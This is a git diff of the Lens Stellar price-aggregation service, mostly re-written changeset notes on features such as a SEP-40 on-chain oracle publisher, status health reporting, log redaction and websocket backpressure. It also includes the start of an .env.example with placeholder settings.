-`SEP40_MIN_WRITE_INTERVAL_MS` caps it at one transaction per asset per interval. -`SEP40_MAX_AGE_SECONDS` defaults to 120, stricter than the API's 300 s stale -flag on purpose. - -Every write — and every failed write — lands in a new `oracle_publications` -table with the venues behind it, the scaled value, the trigger, the deviation and -the tx hash. Blocked decisions are logged, not stored: a 30-second poll across -two networks would otherwise be a table of "nothing happened". - -Off by default on every network (`SEP40_ENABLED_*=false`), needs a deployed -contract id and a funded publisher key, and refuses to start half-configured. No -secret key is committed anywhere, and the docs deliberately contain no feed -contract id. No REST or GraphQL route is added. +--- +'lens': minor +--- + +Lens publishes prices. A SEP-40 (`oracle/contract/`) oracle contract plus a +rate-limited, deviation-triggered publisher (`src/publish/`) put Lens's own +aggregate on chain so Soroban contracts can read a Lens price, with the same +staleness and venue-provenance guarantees the HTTP API makes. + +The contract implements the spec's `PriceFeedTrait` verbatim — `base`, `assets`, +`decimals`, `resolution`, `price`, `prices`, `lastprice` — returning `None` +rather than reverting on input it cannot answer, and adds one provider-side +write: `report(asset, price, timestamp, venues)`, authorized solely by the +publisher address the admin sets. It re-checks every rule a consumer is told to +rely on: the price is positive, the timestamp is trimmed to `resolution()`, is +not ahead of ledger time, and is strictly newer than the last record, and the +venue list is non-empty — `source_count` is derived from that list, never passed +in. `last_report` exposes the venues, the ledger and the close time behind the +current price. `initialize` is one-shot and `upgrade` swaps the WASM without +changing the contract address, as SEP-40 requires. + +The publisher is a loop like the venue ingesters: one per entry in +`ENABLED_NETWORKS`, each fault-isolated by `restartIngester`, each reading only +its own network's pairs and rows. Which leg of a pair it quotes and whether the +stored `price = assetB per assetA` has to be inverted are derived from the +`base()` the *deployed contract* reports — the scale and tick come from the +chain too, and the cycle aborts if they cannot be read, because there is no safe +default for a number a contract settles against. Publication then runs as +guards → triggers → write vetoes: staleness and provenance are checked before +the feed is read at all, so a stale aggregate provably never reaches RPC or +spends a fee; a write needs either a `SEP40_DEVIATION_PCT` move measured against +the price already on chain or a `SEP40_MAX_INTERVAL_MS` timer, and even then +`SEP40_MIN_WRITE_INTERVAL_MS` caps it at one transaction per asset per interval. +`SEP40_MAX_AGE_SECONDS` defaults to 120, stricter than the API's 300 s stale +flag on purpose. + +Every write — and every failed write — lands in a new `oracle_publications` +table with the venues behind it, the scaled value, the trigger, the deviation and +the tx hash. Blocked decisions are logged, not stored: a 30-second poll across +two networks would otherwise be a table of "nothing happened". + +Off by default on every network (`SEP40_ENABLED_*=false`), needs a deployed +contract id and a funded publisher key, and refuses to start half-configured. No +secret key is committed anywhere, and the docs deliberately contain no feed +contract id. No REST or GraphQL route is added. diff --git a/.changeset/slippage-pct-true-spot.md b/.changeset/slippage-pct-true-spot.md index eb39dde7..37aaccd2 100644 --- a/.changeset/slippage-pct-true-spot.md +++ b/.changeset/slippage-pct-true-spot.md @@ -1,11 +1,11 @@ ---- -'lens': patch ---- - -Fix `slippagePct` on `/price/:a/:b/route`, which was always exactly 0 because -the execution price was compared with itself. It is now the shortfall of the -execution price against the AMM reserve-ratio spot price, so it grows with -order size against a fixed pool. Route selection and `estimatedOutput` are -unchanged. Slippage is only reported for an AMM route; SDEX and SPLIT routes -(and pairs with no AMM pool) have no size-independent spot reference, so the -value stays 0 rather than reporting a cross-venue spread as slippage. +--- +'lens': patch +--- + +Fix `slippagePct` on `/price/:a/:b/route`, which was always exactly 0 because +the execution price was compared with itself. It is now the shortfall of the +execution price against the AMM reserve-ratio spot price, so it grows with +order size against a fixed pool. Route selection and `estimatedOutput` are +unchanged. Slippage is only reported for an AMM route; SDEX and SPLIT routes +(and pairs with no AMM pool) have no size-independent spot reference, so the +value stays 0 rather than reporting a cross-venue spread as slippage. diff --git a/.changeset/snapshot-endpoint.md b/.changeset/snapshot-endpoint.md index fe397bb4..71ac7579 100644 --- a/.changeset/snapshot-endpoint.md +++ b/.changeset/snapshot-endpoint.md @@ -1,11 +1,11 @@ ---- -'lens': minor ---- - -Add `GET /snapshot`: one cached, network-scoped summary of a network's venues -(liveness), AMM liquidity (TVL, per-asset reserves and per-pool detail), 24h -traded volume (per venue, with a single-unit total only when the pairs share a -unit), the busiest pairs with their price direction, stablecoin peg readings, -and data freshness. All figures come from a single database statement with one -`as_of` clock, and unknowns are reported as `null` with a reason rather than -invented. The endpoint is public and never 404s. +--- +'lens': minor +--- + +Add `GET /snapshot`: one cached, network-scoped summary of a network's venues +(liveness), AMM liquidity (TVL, per-asset reserves and per-pool detail), 24h +traded volume (per venue, with a single-unit total only when the pairs share a +unit), the busiest pairs with their price direction, stablecoin peg readings, +and data freshness. All figures come from a single database statement with one +`as_of` clock, and unknowns are reported as `null` with a reason rather than +invented. The endpoint is public and never 404s. diff --git a/.changeset/status-health-contract.md b/.changeset/status-health-contract.md index daea9c25..65668d9b 100644 --- a/.changeset/status-health-contract.md +++ b/.changeset/status-health-contract.md @@ -1,5 +1,5 @@ ---- -'lens': minor ---- - -Document and separate process health from data health on `GET /status` (#273). The response now carries `status`, `health.process`, `health.data`, a `process` block (uptime, heap) and a `data` block (last ledger, lag, `isStale`); the previous top-level fields are unchanged, so existing consumers keep working. Ingest lag over 300s reports `status: "degraded"` with a 200, and a Postgres failure returns 503 with `pagingCondition: "DATABASE_DOWN"` — so an uptime monitor pages on infrastructure, not on upstream ledger delay. The 503 body is a fixed phrase: `/status` is public, so the driver's message goes to the log, never the response. `health.process` is read from boot state, so the first seconds of a deploy report a degraded process with healthy data. +--- +'lens': minor +--- + +Document and separate process health from data health on `GET /status` (#273). The response now carries `status`, `health.process`, `health.data`, a `process` block (uptime, heap) and a `data` block (last ledger, lag, `isStale`); the previous top-level fields are unchanged, so existing consumers keep working. Ingest lag over 300s reports `status: "degraded"` with a 200, and a Postgres failure returns 503 with `pagingCondition: "DATABASE_DOWN"` — so an uptime monitor pages on infrastructure, not on upstream ledger delay. The 503 body is a fixed phrase: `/status` is public, so the driver's message goes to the log, never the response. `health.process` is read from boot state, so the first seconds of a deploy report a degraded process with healthy data. diff --git a/.changeset/status-network-scope.md b/.changeset/status-network-scope.md index 0a6036a5..eaa999e4 100644 --- a/.changeset/status-network-scope.md +++ b/.changeset/status-network-scope.md @@ -1,15 +1,15 @@ ---- -'lens': patch ---- - -Fix `GET /status`: scope `indexer_state` to the requested network (`?network=` -/ `x-network`, defaulting to `STELLAR_NETWORK`) instead of returning whichever -chain wrote most recently, and report the answering network and its watched -pairs in the response. - -The SDEX and AMM ingesters now derive each trade's ledger from the TOID prefix -of its Horizon id — Horizon sends no `ledger` field on a trade — so price points -carry a real ledger again and `lastIndexedLedger` is no longer permanently null. -A malformed id falls back to the last stored ledger, and the batch is deferred -if no ledger can be established. A new `ingestLagSeconds` field surfaces a -stalled ingester without Prometheus. +--- +'lens': patch +--- + +Fix `GET /status`: scope `indexer_state` to the requested network (`?network=` +/ `x-network`, defaulting to `STELLAR_NETWORK`) instead of returning whichever +chain wrote most recently, and report the answering network and its watched +pairs in the response. + +The SDEX and AMM ingesters now derive each trade's ledger from the TOID prefix +of its Horizon id — Horizon sends no `ledger` field on a trade — so price points +carry a real ledger again and `lastIndexedLedger` is no longer permanently null. +A malformed id falls back to the last stored ledger, and the batch is deferred +if no ledger can be established. A new `ingestLagSeconds` field surfaces a +stalled ingester without Prometheus. diff --git a/.changeset/structured-logging.md b/.changeset/structured-logging.md index 7787fe7e..66d7677a 100644 --- a/.changeset/structured-logging.md +++ b/.changeset/structured-logging.md @@ -1,21 +1,21 @@ ---- -'lens': patch ---- - -Route all logging through pino (`src/logger.ts`) instead of `console.*`. Every -module now logs through a component-scoped child logger — `ingester:sdex`, -`job:aggregate-refresh`, `ws:fanout`, `redis`, `config`, `webhook`, -`route:price`, … — emitted as a structured `component` field rather than a -message prefix, so operators can filter by component without regexing text. -Fastify's request logger is built from the same options, so `req.log` carries -the same redaction and formatting. - -The level is configurable via `LOG_LEVEL` (default `info`, documented in -`.env.example`): logs are newline-delimited JSON when `NODE_ENV=production` and -pretty-printed for humans otherwise. Values of secret-looking environment -variables (`DATABASE_URL`, `DIRECT_DATABASE_URL`, `REDIS_URL`, and any name -containing `KEY`/`SECRET`/`TOKEN`/`PASSWORD`) are scrubbed from every -serialized line, including the password inside a connection string and driver -error messages that echo it, while request auth headers are redacted via -pino's `redact`. A test asserts no `console.*` survives in non-test source and -that a connection string or API key value never reaches the output. +--- +'lens': patch +--- + +Route all logging through pino (`src/logger.ts`) instead of `console.*`. Every +module now logs through a component-scoped child logger — `ingester:sdex`, +`job:aggregate-refresh`, `ws:fanout`, `redis`, `config`, `webhook`, +`route:price`, … — emitted as a structured `component` field rather than a +message prefix, so operators can filter by component without regexing text. +Fastify's request logger is built from the same options, so `req.log` carries +the same redaction and formatting. + +The level is configurable via `LOG_LEVEL` (default `info`, documented in +`.env.example`): logs are newline-delimited JSON when `NODE_ENV=production` and +pretty-printed for humans otherwise. Values of secret-looking environment +variables (`DATABASE_URL`, `DIRECT_DATABASE_URL`, `REDIS_URL`, and any name +containing `KEY`/`SECRET`/`TOKEN`/`PASSWORD`) are scrubbed from every +serialized line, including the password inside a connection string and driver +error messages that echo it, while request auth headers are redacted via +pino's `redact`. A test asserts no `console.*` survives in non-test source and +that a connection string or API key value never reaches the output. diff --git a/.changeset/typed-typescript-client.md b/.changeset/typed-typescript-client.md index 3007d92e..6b7796f4 100644 --- a/.changeset/typed-typescript-client.md +++ b/.changeset/typed-typescript-client.md @@ -1,12 +1,12 @@ ---- -'lens': minor ---- - -Add a generated TypeScript client at `clients/typescript`. `npm run client:gen` -regenerates `clients/typescript/src/schema.d.ts` from `openapi.yaml` with -`openapi-typescript`, and `openapi-fetch` gives a typed `createLensClient`, so -every request and response type is derived from the spec and nothing is -hand-maintained. CI regenerates the client and fails if the committed copy -differs from `openapi.yaml`, then typechecks it with -`npm run client:typecheck`. `clients/typescript/src/example.ts` is a documented -usage example; the README explains how to regenerate and use the client. +--- +'lens': minor +--- + +Add a generated TypeScript client at `clients/typescript`. `npm run client:gen` +regenerates `clients/typescript/src/schema.d.ts` from `openapi.yaml` with +`openapi-typescript`, and `openapi-fetch` gives a typed `createLensClient`, so +every request and response type is derived from the spec and nothing is +hand-maintained. CI regenerates the client and fails if the committed copy +differs from `openapi.yaml`, then typechecks it with +`npm run client:typecheck`. `clients/typescript/src/example.ts` is a documented +usage example; the README explains how to regenerate and use the client. diff --git a/.changeset/validate-contract-ids.md b/.changeset/validate-contract-ids.md index ad55211f..6431fb7f 100644 --- a/.changeset/validate-contract-ids.md +++ b/.changeset/validate-contract-ids.md @@ -1,13 +1,13 @@ ---- -'lens': patch ---- - -Config now validates every Soroban contract id it hands out (Soroswap factory, -Reflector oracle) with `StrKey.isValidContract`. A malformed id no longer boots -the feature "enabled" and fails on every RPC call: it logs a warning naming the -env var and disables that feature on that network. Two built-in defaults were -55 characters and therefore invalid; the testnet Soroswap factory default is -replaced with the address from Soroswap's published testnet deployment, and the -mainnet Reflector default is removed, so the oracle stays off until -`REFLECTOR_CONTRACT_ID_MAINNET` is set. `.env.example` and the deploy docs are -updated. +--- +'lens': patch +--- + +Config now validates every Soroban contract id it hands out (Soroswap factory, +Reflector oracle) with `StrKey.isValidContract`. A malformed id no longer boots +the feature "enabled" and fails on every RPC call: it logs a warning naming the +env var and disables that feature on that network. Two built-in defaults were +55 characters and therefore invalid; the testnet Soroswap factory default is +replaced with the address from Soroswap's published testnet deployment, and the +mainnet Reflector default is removed, so the oracle stays off until +`REFLECTOR_CONTRACT_ID_MAINNET` is set. `.env.example` and the deploy docs are +updated. diff --git a/.changeset/volume-concentration-metrics.md b/.changeset/volume-concentration-metrics.md index d410c5b3..858e4948 100644 --- a/.changeset/volume-concentration-metrics.md +++ b/.changeset/volume-concentration-metrics.md @@ -1,5 +1,5 @@ ---- -'lens': minor ---- - -Add trade-size and volume-concentration statistics to `GET /volumes/:asset`, with per-network filtering and response provenance. +--- +'lens': minor +--- + +Add trade-size and volume-concentration statistics to `GET /volumes/:asset`, with per-network filtering and response provenance. diff --git a/.changeset/volumes-network-filter.md b/.changeset/volumes-network-filter.md index 50df00d7..579a54c0 100644 --- a/.changeset/volumes-network-filter.md +++ b/.changeset/volumes-network-filter.md @@ -1,8 +1,8 @@ ---- -'lens': patch ---- - -`GET /volumes/:asset` now filters `price_points` by network instead of summing -testnet and mainnet volume together. It accepts `?network=testnet|mainnet` -(default: the active network), returns 400 for any other value, and echoes the -resolved `network` in the response body. +--- +'lens': patch +--- + +`GET /volumes/:asset` now filters `price_points` by network instead of summing +testnet and mainnet volume together. It accepts `?network=testnet|mainnet` +(default: the active network), returns 400 for any other value, and echoes the +resolved `network` in the response body. diff --git a/.changeset/ws-backpressure.md b/.changeset/ws-backpressure.md index 7756f39f..4a29085d 100644 --- a/.changeset/ws-backpressure.md +++ b/.changeset/ws-backpressure.md @@ -1,29 +1,29 @@ ---- -'lens': minor ---- - -Bound what a slow websocket client can cost the process. - -`WebSocket#send()` neither blocks nor throws when a peer is slow, it queues. -Nothing inspected `bufferedAmount`, so one subscriber that stopped reading — a -suspended mobile client, a wedged TCP window — accumulated price updates in its -socket buffer without limit, and the message was counted as sent the moment it -was queued. With the feed pushing continuously, one stuck subscriber was enough -to grow the process until it was OOM-killed, taking every other subscriber and -every HTTP client with it. - -`FanOutManager` now applies a per-client policy in -[`src/ws/backpressure.ts`](https://github.com/Divinity-Labs/Lens/blob/main/src/ws/backpressure.ts): -past `WS_SLOW_CLIENT_BUFFER_BYTES` (256 KiB) updates are coalesced to the newest -one, past `WS_MAX_BUFFERED_BYTES` (1 MiB) — or congested for longer than -`WS_MAX_CONGESTED_MS` (30s) — the client is closed with `1013` and counted in -`ws_clients_dropped_total`. Superseded updates count in -`ws_messages_dropped_total`, so a truncated feed is visible rather than silent, -and `ws_buffered_bytes` reports total queued bytes. All the limits are -configurable, and none of them can slow down delivery to any other client. - -`ws_messages_sent_total` now increments when the socket reports the write -completed rather than when `send()` returned, so it counts what was written -rather than what was queued. The websocket metrics also moved from -prom-client's global default registry onto the one `/metrics` renders, which is +--- +'lens': minor +--- + +Bound what a slow websocket client can cost the process. + +`WebSocket#send()` neither blocks nor throws when a peer is slow, it queues. +Nothing inspected `bufferedAmount`, so one subscriber that stopped reading — a +suspended mobile client, a wedged TCP window — accumulated price updates in its +socket buffer without limit, and the message was counted as sent the moment it +was queued. With the feed pushing continuously, one stuck subscriber was enough +to grow the process until it was OOM-killed, taking every other subscriber and +every HTTP client with it. + +`FanOutManager` now applies a per-client policy in +[`src/ws/backpressure.ts`](https://github.com/Divinity-Labs/Lens/blob/main/src/ws/backpressure.ts): +past `WS_SLOW_CLIENT_BUFFER_BYTES` (256 KiB) updates are coalesced to the newest +one, past `WS_MAX_BUFFERED_BYTES` (1 MiB) — or congested for longer than +`WS_MAX_CONGESTED_MS` (30s) — the client is closed with `1013` and counted in +`ws_clients_dropped_total`. Superseded updates count in +`ws_messages_dropped_total`, so a truncated feed is visible rather than silent, +and `ws_buffered_bytes` reports total queued bytes. All the limits are +configurable, and none of them can slow down delivery to any other client. + +`ws_messages_sent_total` now increments when the socket reports the write +completed rather than when `send()` returned, so it counts what was written +rather than what was queued. The websocket metrics also moved from +prom-client's global default registry onto the one `/metrics` renders, which is where they were supposed to be visible all along. \ No newline at end of file diff --git a/.changeset/x402-conformance-baseline.md b/.changeset/x402-conformance-baseline.md index 1f4e16a6..1db8a09a 100644 --- a/.changeset/x402-conformance-baseline.md +++ b/.changeset/x402-conformance-baseline.md @@ -1,11 +1,11 @@ ---- -'lens': patch ---- - -Add `docs/x402-conformance.md`: a conformance baseline for the public `x402.org` -facilitator on `stellar:testnet`, established by settling a real payment through -it with an unmodified `@stellar/stellar-sdk` client and feeding it deliberately -bad input. Records `/supported` verbatim, a settled transaction hash, a -reason-per-rejection table, and five divergences between the reference -implementation's advertised and actual behaviour. This is the baseline the Lens -facilitator (#124, #125, #126) is measured against. +--- +'lens': patch +--- + +Add `docs/x402-conformance.md`: a conformance baseline for the public `x402.org` +facilitator on `stellar:testnet`, established by settling a real payment through +it with an unmodified `@stellar/stellar-sdk` client and feeding it deliberately +bad input. Records `/supported` verbatim, a settled transaction hash, a +reason-per-rejection table, and five divergences between the reference +implementation's advertised and actual behaviour. This is the baseline the Lens +facilitator (#124, #125, #126) is measured against. diff --git a/.changeset/x402-successful-payment-loop-test.md b/.changeset/x402-successful-payment-loop-test.md index 17fd48fc..2f09a595 100644 --- a/.changeset/x402-successful-payment-loop-test.md +++ b/.changeset/x402-successful-payment-loop-test.md @@ -1,10 +1,10 @@ ---- -'lens': patch ---- - -Add an end-to-end test for the successful x402 402 payment loop (#423). Drives the real -`@x402/fetch` transport against a stubbed resource + fake facilitator, signing a real Soroban -`transfer` with `@stellar/stellar-sdk` using throwaway testnet keys. Asserts on what was signed — -amount, destination and network passphrase (valid on testnet, invalid on mainnet) — not just the -response body, and covers the failure branches: amount above maxPrice refused before submitting, -a network the client is not registered for, and an expired signature that the facilitator rejects. +--- +'lens': patch +--- + +Add an end-to-end test for the successful x402 402 payment loop (#423). Drives the real +`@x402/fetch` transport against a stubbed resource + fake facilitator, signing a real Soroban +`transfer` with `@stellar/stellar-sdk` using throwaway testnet keys. Asserts on what was signed — +amount, destination and network passphrase (valid on testnet, invalid on mainnet) — not just the +response body, and covers the failure branches: amount above maxPrice refused before submitting, +a network the client is not registered for, and an expired signature that the facilitator rejects. diff --git a/.env.example b/.env.example index 4af0336f..306dac08 100644 --- a/.env.example +++ b/.env.example @@ -1,527 +1,527 @@ -# --- General --- -# Environment: development, test, production -NODE_ENV=development -# Structured log level: trace, debug, info, warn, error, fatal, or silent (default: info) -# Logs are newline-delimited JSON when NODE_ENV=production, human-readable otherwise. -LOG_LEVEL=info - -# --- Server --- -# Port to listen on (default: 3002) -PORT=3002 -# Host to bind to (default: 0.0.0.0) -HOST=0.0.0.0 - -# --- Database --- -# PostgreSQL connection string with credentials -DATABASE_URL=postgresql://lens:lens@localhost:5432/lens -# Direct unpooled PostgreSQL connection string (used by Prisma migrations and CLI to bypass connection poolers) -DIRECT_DATABASE_URL=postgresql://lens:lens@localhost:5432/lens -# Maximum connections per process pool (default: 10). -# Capacity planning arithmetic: total DB connections = (instances * DB_POOL_SIZE) + admin headroom. -# Ensure this product does not exceed Postgres max_connections (typically 100). -DB_POOL_SIZE=10 -# Maximum time in milliseconds to wait to acquire a connection from the pool (default: 5000 ms) -DB_POOL_TIMEOUT_MS=5000 -# Retention window in days for partitioned price_points table (default: 30) -PRICE_POINTS_RETENTION_DAYS=30 -# Explicit opt-in flag to drop expired partitions older than PRICE_POINTS_RETENTION_DAYS (default: false, DESTRUCTIVE). -# Keep disabled unless aggregations/rollups have safely processed raw partition data (#231). -PRICE_POINTS_DROP_EXPIRED=false -# Number of future daily partitions to pre-create ahead of need (default: 7) -PRICE_POINTS_PRECREATE_DAYS=7 - -# --- Cache & Performance --- -# Redis connection URL for caching and queues -REDIS_URL=redis://localhost:6379 -# How long to cache price responses in seconds (default: 10) -PRICE_CACHE_TTL=10 -# How long to cache GET /snapshot responses per network in seconds (default: 15) -SNAPSHOT_CACHE_TTL=15 -# How long an API-key lookup is cached in-process, in seconds (default: 30). -# Worst-case window for a key revoked on another instance to stop working here. -API_KEY_CACHE_TTL=30 -# Default timeout for outbound HTTP requests in milliseconds (default: 10000) -HTTP_TIMEOUT_MS=10000 - -# --- Outbound request policy (SSRF) --- -# Comma-separated hostnames the app may reach when a caller supplies the target -# URL — e.g. the Bazaar MCP server fetching a node's /discovery endpoint. Leave -# empty to allow any *public* host. Private, loopback, link-local and cloud -# metadata addresses are refused regardless of this list. -# Example: OUTBOUND_ALLOWED_HOSTS=bazaar.example.com,lens.internal.io -OUTBOUND_ALLOWED_HOSTS= - -# --- MCP tool result bounds --- -# Tool results are written straight into an agent's context window, so they are -# size-bounded: an unbounded result is a self-inflicted denial of service whose -# failure is misread as a bad model. Truncated results say so in the payload. -# Maximum size, in bytes, of one MCP tool result (default: 16384; 1024..1048576) -MCP_MAX_RESULT_BYTES=16384 -# Maximum bytes read from a single upstream response body before the stream is -# cancelled, so an oversized body is never buffered in full -# (default: 262144; 4096..8388608) -MCP_MAX_UPSTREAM_BYTES=262144 -# Page size requested of a Bazaar node when the caller gives no limit, and the -# most a caller may ask for (defaults: 50 and 200, matching /discovery) -MCP_DEFAULT_PAGE_LIMIT=50 -MCP_MAX_PAGE_LIMIT=200 - -# --- Active Network --- -# Which network the node operates on: "testnet" or "mainnet" (default: testnet) -# This drives all config.horizon / config.rpc / config.soroswap shortcut paths. -STELLAR_NETWORK=testnet - -# Comma-separated list of networks the ingesters run for, e.g. "testnet,mainnet". -# Each venue ingester (SDEX, AMM, Soroswap, Snapshot, Aquarius, DeFindex) is started once -# Each venue ingester (SDEX, AMM, Soroswap, Snapshot, Aquarius, Phoenix) is started once -# per network listed here, each instance independently fault-isolated. -# When unset (or nothing valid remains after parsing) it falls back to just -# STELLAR_NETWORK, so a single-network node starts one instance of each ingester. -ENABLED_NETWORKS=testnet - -# ───────────────────────────────────────────────────────────────────────────── -# Per-network Stellar configuration -# -# For each field below, Lens resolves the value in this priority order: -# 1. Paired var — e.g. HORIZON_URL_TESTNET / HORIZON_URL_MAINNET -# 2. Generic var — e.g. HORIZON_URL (back-compat; applied to testnet only) -# 3. Built-in default for that network -# -# Only the vars for your active network need to be set; the other network's -# values are only used when STELLAR_NETWORK switches to it. -# ───────────────────────────────────────────────────────────────────────────── - -# --- Stellar Network — Testnet --- -HORIZON_URL_TESTNET=https://horizon-testnet.stellar.org -RPC_URL_TESTNET=https://soroban-testnet.stellar.org -NETWORK_PASSPHRASE_TESTNET=Test SDF Network ; September 2015 -# Soroswap factory contract (56-char C... id) — from https://github.com/soroswap/core (public/testnet.contracts.json). -# A malformed id disables Soroswap on this network and logs a warning naming this variable. -SOROSWAP_FACTORY_ADDRESS_TESTNET=CDP3HMUH6SMS3S7NPGNDJLULCOXXEPSHY4JKUKMBNQMATHDHWXRRJTBY -# Soroswap has a testnet deployment; leave enabled. Set to "false" to disable. -SOROSWAP_ENABLED_TESTNET=true -# Aquarius has no public testnet deployment today — disabled by default. -AQUARIUS_ENABLED_TESTNET=false -# DeFindex vault factory contract (56-char C... id) — from -# https://github.com/defindex-io/stellar-contracts (public/testnet.contracts.json). -# Testnet redeploys often, so refresh this when the published id changes. -# A malformed id disables DeFindex on this network and logs a warning naming this variable. -DEFINDEX_FACTORY_ADDRESS_TESTNET=CDSCWE4GLNBYYTES2OCYDFQA2LLY4RBIAX6ZI32VSUXD7GO6HRPO4A32 -DEFINDEX_ENABLED_TESTNET=true -# Phoenix (Soroban AMM) has no published testnet deployment, so there is no -# built-in factory id here: leave empty and the venue stays disabled on testnet. -# Point it at a factory you deployed (Phoenix's `contracts/factory`) to enable it. -PHOENIX_FACTORY_ADDRESS_TESTNET= -PHOENIX_ENABLED_TESTNET=true -# Reflector oracle contract (56-char C... id) — see https://reflector.network. Empty = oracle disabled. -# A malformed id disables the oracle on this network and logs a warning naming this variable. -REFLECTOR_CONTRACT_ID_TESTNET= -# SEP-40 publisher (#222): the oracle contract Lens pushes ITS aggregate into, -# so Soroban contracts can read a Lens price. Deploy it from oracle/contract/ -# and paste the id `soroban contract deploy` prints — never a placeholder. -SEP40_CONTRACT_ID_TESTNET= -# Secret key of the account the contract lists as publisher. It pays the write -# fee, so it must be funded on testnet. Never commit a real key; docs/ -# sep40-oracle-publisher.md covers funding, separation from the admin key and -# rotation. Publication stays off while this is unset. -SEP40_PUBLISHER_SECRET_KEY_TESTNET= -# Off by default: publishing spends fees and writes to a chain, so it is -# opt-in per network. Setting this to true without the two values above logs a -# warning and leaves publication off rather than half-working. -SEP40_ENABLED_TESTNET=false -# Comma-separated pairs to watch on testnet. -# Format: "CODE:ISSUER/CODE:ISSUER". Use "native" for XLM. -WATCHED_PAIRS_TESTNET=XLM:native/USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5 -# Multi-hop routing configuration for testnet -ROUTING_MAX_HOPS_TESTNET=3 -ROUTING_INTERMEDIATES_TESTNET=XLM:native,USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5 - -# --- Stellar Network — Mainnet --- -HORIZON_URL_MAINNET=https://horizon.stellar.org -# Mainnet has no free Soroban RPC — set an external provider endpoint here. -# Placeholder only; never commit a real provider URL or API key. -RPC_URL_MAINNET=https://your-provider.example.com/soroban-rpc -NETWORK_PASSPHRASE_MAINNET=Public Global Stellar Network ; September 2015 -# Mainnet Soroswap factory contract (56-char C... id) — see https://github.com/soroswap/core -SOROSWAP_FACTORY_ADDRESS_MAINNET=CA4HEQTL2WPEUYKYKCDOHCDNIV4QHNJ7EL4J4NQ6VADP7SYHVRYZ7AW2 -SOROSWAP_ENABLED_MAINNET=true -AQUARIUS_ENABLED_MAINNET=true -# DeFindex vault factory contract on mainnet (56-char C... id) — from -# https://github.com/defindex-io/stellar-contracts (public/mainnet.contracts.json). -# A malformed id disables DeFindex on this network and logs a warning naming this variable. -DEFINDEX_FACTORY_ADDRESS_MAINNET=CDKFHFJIET3A73A2YN4KV7NSV32S6YGQMUFH3DNJXLBWL4SKEGVRNFKI -DEFINDEX_ENABLED_MAINNET=true -# Phoenix AMM (Soroban) factory contract (56-char C... id) — taken verbatim from -# Phoenix's own repository: scripts/extend-queries.sh and scripts/deploy_pool.sh -# both set FACTORY to this id alongside mainnet.sorobanrpc.com and the public -# passphrase (github.com/Phoenix-Protocol-Group/phoenix-contracts). Pools are -# enumerated from it with `query_pools`, never from a list kept in this repo. -# A malformed id disables Phoenix on this network and logs a warning naming this -# variable; an empty id disables it silently. -PHOENIX_FACTORY_ADDRESS_MAINNET=CB4SVAWJA6TSRNOJZ7W2AWFW46D5VR4ZMFZKDIKXEINZCZEGZCJZCKMI -PHOENIX_ENABLED_MAINNET=true -# Reflector oracle contract on mainnet (56-char C... id) — copy it from https://reflector.network. -# There is no built-in default: leave empty to keep the oracle disabled. -REFLECTOR_CONTRACT_ID_MAINNET= -# SEP-40 publisher on mainnet. Same three variables as testnet above; mainnet is -# additionally gated on a funded publisher account and a real RPC provider -# (RPC_URL_MAINNET), so read docs/sep40-oracle-publisher.md before enabling it. -SEP40_CONTRACT_ID_MAINNET= -SEP40_PUBLISHER_SECRET_KEY_MAINNET= -SEP40_ENABLED_MAINNET=false -# Comma-separated pairs to watch on mainnet. -WATCHED_PAIRS_MAINNET=XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN -# Multi-hop routing configuration for mainnet -ROUTING_MAX_HOPS_MAINNET=3 -ROUTING_INTERMEDIATES_MAINNET=XLM:native,USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN - -# --- Venue endpoint overrides (optional, shared across networks unless a -# paired _TESTNET / _MAINNET variant is set) --- -# Soroswap token-list JSON URL. -SOROSWAP_TOKEN_LIST_URL=https://raw.githubusercontent.com/soroswap/token-list/main/tokenList.json -# Aquarius AMM pools API base URL. -AQUARIUS_API_URL=https://amm.aquarius.network/api/v1/pools/ - -# How often to poll DeFindex vault share prices in milliseconds (default: 60000 = 60s) -DEFINDEX_POLL_INTERVAL_MS=60000 - -# --- Back-compat single-network vars (testnet) --- -# These are still respected when the paired _TESTNET vars above are unset. -# New deployments should prefer the paired vars above. -HORIZON_URL=https://horizon-testnet.stellar.org -RPC_URL=https://soroban-testnet.stellar.org -NETWORK_PASSPHRASE=Test SDF Network ; September 2015 -SOROSWAP_FACTORY_ADDRESS=CDP3HMUH6SMS3S7NPGNDJLULCOXXEPSHY4JKUKMBNQMATHDHWXRRJTBY -# DeFindex vault factory contract ID on testnet (falls back from paired DEFINDEX_FACTORY_ADDRESS_TESTNET) -DEFINDEX_FACTORY_ADDRESS=CDSCWE4GLNBYYTES2OCYDFQA2LLY4RBIAX6ZI32VSUXD7GO6HRPO4A32 -# Phoenix factory id for testnet only (applied when -# PHOENIX_FACTORY_ADDRESS_TESTNET is unset). Never used on mainnet, so a -# single-network testnet value cannot override mainnet's built-in factory. -PHOENIX_FACTORY_ADDRESS= -WATCHED_PAIRS=XLM:native/USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5 -# Routing configuration fallbacks -ROUTING_MAX_HOPS=3 -ROUTING_INTERMEDIATES=XLM:native,USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5 -# Reflector oracle contract ID on testnet (falls back from paired REFLECTOR_CONTRACT_ID_TESTNET) -REFLECTOR_CONTRACT_ID= -# SEP-40 publisher fallbacks on testnet (fall back from the paired _TESTNET vars above) -SEP40_CONTRACT_ID= -SEP40_PUBLISHER_SECRET_KEY= - -# --- SEP-40 Oracle Publisher (issue #222) --- -# WHEN Lens writes its aggregate to the contract; the contract/keys per network -# are configured above. The feed is deviation-triggered with a heartbeat, not a -# write per tick — writing every sample is what makes an on-chain oracle -# unaffordable, and these are the knobs that decide the difference. -# Publish once the aggregate has moved at least this many percent away from the -# value already on chain (default 0.5). -SEP40_DEVIATION_PCT=0.5 -# …and publish at least once per this many milliseconds even if it has not moved -# (default 900000 = 15 min), so a quiet market does not leave consumers reading -# a timestamp that only gets older. -SEP40_MAX_INTERVAL_MS=900000 -# Hard floor between two writes for the same asset, whatever triggered them -# (default 60000). This is the rate limit: it caps the transaction count in a -# fast market at one write per asset per interval, not one per sample. -SEP40_MIN_WRITE_INTERVAL_MS=60000 -# Never publish an 